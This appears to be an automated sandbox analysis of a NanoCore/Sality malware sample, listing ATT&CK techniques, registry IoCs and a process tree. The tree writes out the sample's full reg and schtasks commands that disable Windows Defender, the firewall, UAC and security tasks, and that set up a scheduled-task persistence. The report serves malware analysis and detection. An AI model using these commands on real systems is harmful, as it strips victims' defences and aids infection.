nanocore | 1fd3e2f6d6e9166cba0086664635f86ba4b4aaf1277a853cf718f6f24d672d6d

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	nb660-full.exe

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality

UAC bypass 3 TTPs 1 IoCs

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nb660-full.exe

Windows security bypass 2 TTPs 6 IoCs

Disable or Modify Tools

Modify Registry

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1"	nb660-full.exe

Disables RegEdit via registry modification 1 IoCs

evasion

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools = "1"	nb660-full.exe

Disables Task Manager via registry modification
evasion

Deletes itself 1 IoCs

Processes:

nb660-full.exe

pid	Process
2716	nb660-full.exe

Executes dropped EXE 4 IoCs

Processes:

MsPlaying.exeMsfUpdate.exenb660-full.exeMsfUpdate.exe

pid	Process
2912	MsPlaying.exe
2764	MsfUpdate.exe
2716	nb660-full.exe
2780	MsfUpdate.exe

Loads dropped DLL 20 IoCs

Processes:

2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exenb660-full.exeMsfUpdate.exe

pid	Process
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2764	MsfUpdate.exe
2716	nb660-full.exe

Windows security modification 2 TTPs 7 IoCs

Disable or Modify Tools

Modify Registry

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1"	nb660-full.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\Svc	nb660-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	nb660-full.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

Processes:

nb660-full.exeMsfUpdate.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nb660-full.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MsfUpdate.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

MsfUpdate.exe

description	pid	Process	procid_target
PID 2764 set thread context of 2780	2764	MsfUpdate.exe	68

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2716-65-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-72-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-51-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-59-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-137-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-73-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-66-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-58-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-139-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-57-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-53-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-140-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-141-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-138-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-157-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-160-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-162-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-170-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx
behavioral1/memory/2716-172-0x0000000001E00000-0x0000000002E8E000-memory.dmp	upx

Drops file in Program Files directory 5 IoCs

Processes:

nb660-full.exe

description	ioc	Process
File opened for modification	C:\PROGRAM FILES\7-ZIP\7z.exe	nb660-full.exe
File opened for modification	C:\PROGRAM FILES\7-ZIP\7zFM.exe	nb660-full.exe
File opened for modification	C:\PROGRAM FILES\7-ZIP\7zG.exe	nb660-full.exe
File opened for modification	C:\PROGRAM FILES\7-ZIP\Uninstall.exe	nb660-full.exe
File opened for modification	C:\PROGRAM FILES (X86)\MICROSOFT OFFICE\OFFICE14\BCSSYNC.EXE	nb660-full.exe

Drops file in Windows directory 1 IoCs

Processes:

nb660-full.exe

description	ioc	Process
File opened for modification	C:\Windows\SYSTEM.INI	nb660-full.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exeMsfUpdate.exenb660-full.exeMsPlaying.exeschtasks.exeMsfUpdate.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsfUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nb660-full.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsPlaying.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsfUpdate.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
behavioral1/files/0x0007000000016ca5-43.dat	nsis_installer_1
behavioral1/files/0x0007000000016ca5-43.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

nb660-full.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	nb660-full.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nb660-full.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exe

pid	Process
2308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

nb660-full.exeMsfUpdate.exeMsfUpdate.exe

pid	Process
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2764	MsfUpdate.exe
2780	MsfUpdate.exe
2780	MsfUpdate.exe
2780	MsfUpdate.exe
2780	MsfUpdate.exe
2780	MsfUpdate.exe
2780	MsfUpdate.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe
2716	nb660-full.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

MsfUpdate.exenb660-full.exe

pid	Process
2780	MsfUpdate.exe
2716	nb660-full.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

nb660-full.exeMsfUpdate.exeMsfUpdate.exe

description	pid	Process
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2764	MsfUpdate.exe
Token: SeDebugPrivilege	2780	MsfUpdate.exe
Token: SeDebugPrivilege	2716	nb660-full.exe
Token: SeDebugPrivilege	2716	nb660-full.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exenb660-full.exeMsPlaying.execmd.exe

description	pid	Process	procid_target
PID 2332 wrote to memory of 2912	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	31
PID 2332 wrote to memory of 2912	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	31
PID 2332 wrote to memory of 2912	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	31
PID 2332 wrote to memory of 2912	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	31
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2764	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	33
PID 2332 wrote to memory of 2716	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	34
PID 2332 wrote to memory of 2716	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	34
PID 2332 wrote to memory of 2716	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	34
PID 2332 wrote to memory of 2716	2332	2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe	34
PID 2716 wrote to memory of 1108	2716	nb660-full.exe	19
PID 2716 wrote to memory of 1172	2716	nb660-full.exe	20
PID 2716 wrote to memory of 1228	2716	nb660-full.exe	21
PID 2716 wrote to memory of 1080	2716	nb660-full.exe	23
PID 2716 wrote to memory of 2912	2716	nb660-full.exe	31
PID 2716 wrote to memory of 2912	2716	nb660-full.exe	31
PID 2716 wrote to memory of 2416	2716	nb660-full.exe	32
PID 2716 wrote to memory of 2764	2716	nb660-full.exe	33
PID 2716 wrote to memory of 2764	2716	nb660-full.exe	33
PID 2912 wrote to memory of 1900	2912	MsPlaying.exe	35
PID 2912 wrote to memory of 1900	2912	MsPlaying.exe	35
PID 2912 wrote to memory of 1900	2912	MsPlaying.exe	35
PID 2912 wrote to memory of 1900	2912	MsPlaying.exe	35
PID 1900 wrote to memory of 1148	1900	cmd.exe	36
PID 1900 wrote to memory of 1148	1900	cmd.exe	36
PID 1900 wrote to memory of 1148	1900	cmd.exe	36
PID 1900 wrote to memory of 1636	1900	cmd.exe	37
PID 1900 wrote to memory of 1636	1900	cmd.exe	37
PID 1900 wrote to memory of 1636	1900	cmd.exe	37
PID 1900 wrote to memory of 2064	1900	cmd.exe	38
PID 1900 wrote to memory of 2064	1900	cmd.exe	38
PID 1900 wrote to memory of 2064	1900	cmd.exe	38
PID 1900 wrote to memory of 1068	1900	cmd.exe	39
PID 1900 wrote to memory of 1068	1900	cmd.exe	39
PID 1900 wrote to memory of 1068	1900	cmd.exe	39
PID 1900 wrote to memory of 2184	1900	cmd.exe	40
PID 1900 wrote to memory of 2184	1900	cmd.exe	40
PID 1900 wrote to memory of 2184	1900	cmd.exe	40
PID 1900 wrote to memory of 2200	1900	cmd.exe	41
PID 1900 wrote to memory of 2200	1900	cmd.exe	41
PID 1900 wrote to memory of 2200	1900	cmd.exe	41
PID 1900 wrote to memory of 2908	1900	cmd.exe	42
PID 1900 wrote to memory of 2908	1900	cmd.exe	42
PID 1900 wrote to memory of 2908	1900	cmd.exe	42
PID 1900 wrote to memory of 2148	1900	cmd.exe	43
PID 1900 wrote to memory of 2148	1900	cmd.exe	43
PID 1900 wrote to memory of 2148	1900	cmd.exe	43
PID 1900 wrote to memory of 572	1900	cmd.exe	44
PID 1900 wrote to memory of 572	1900	cmd.exe	44
PID 1900 wrote to memory of 572	1900	cmd.exe	44
PID 1900 wrote to memory of 2208	1900	cmd.exe	45
PID 1900 wrote to memory of 2208	1900	cmd.exe	45
PID 1900 wrote to memory of 2208	1900	cmd.exe	45
PID 1900 wrote to memory of 2052	1900	cmd.exe	46
PID 1900 wrote to memory of 2052	1900	cmd.exe	46
PID 1900 wrote to memory of 2052	1900	cmd.exe	46
PID 1900 wrote to memory of 2376	1900	cmd.exe	47
PID 1900 wrote to memory of 2376	1900	cmd.exe	47
PID 1900 wrote to memory of 2376	1900	cmd.exe	47

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

nb660-full.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nb660-full.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1108

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1172

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1228
- C:\Users\Admin\AppData\Local\Temp\2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\2b66ca254c7c9100343699af457f9d81_JaffaCakes118.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Users\Admin\AppData\Local\Temp\MsPlaying.exe
    "C:\Users\Admin\AppData\Local\Temp\MsPlaying.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FA75.tmp\FA76.tmp\FA77.bat C:\Users\Admin\AppData\Local\Temp\MsPlaying.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1900
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        5⤵
        
        PID:1148
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1636
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2064
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1068
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2184
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2200
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2908
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2148
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:572
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2208
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2052
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2376
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:2948
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2944
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2532
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        5⤵
        
        PID:2392
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        5⤵
        
        PID:2436
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        5⤵
        
        PID:448
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        5⤵
        
        PID:612
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        5⤵
        
        PID:1680
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:1200
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:1532
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:2320
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:696
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:2512
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2196
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2940
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:1372
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:1780
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2124
- - C:\Users\Admin\AppData\Local\Temp\MsfUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\MsfUpdate.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2764
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eRuAlzO" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7CBE.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2308
  - - C:\Users\Admin\AppData\Local\Temp\MsfUpdate.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      PID:2780
- - C:\Users\Admin\AppData\Local\Temp\nb660-full.exe
    "C:\Users\Admin\AppData\Local\Temp\nb660-full.exe"
    3⤵
    - Modifies firewall policy service
    - UAC bypass
    - Windows security bypass
    - Disables RegEdit via registry modification
    - Deletes itself
    - Executes dropped EXE
    - Loads dropped DLL
    - Windows security modification
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:2716

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1080

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-359708948128964865-790273131-117907456564744033143550086511832053781108039754"
1⤵
PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry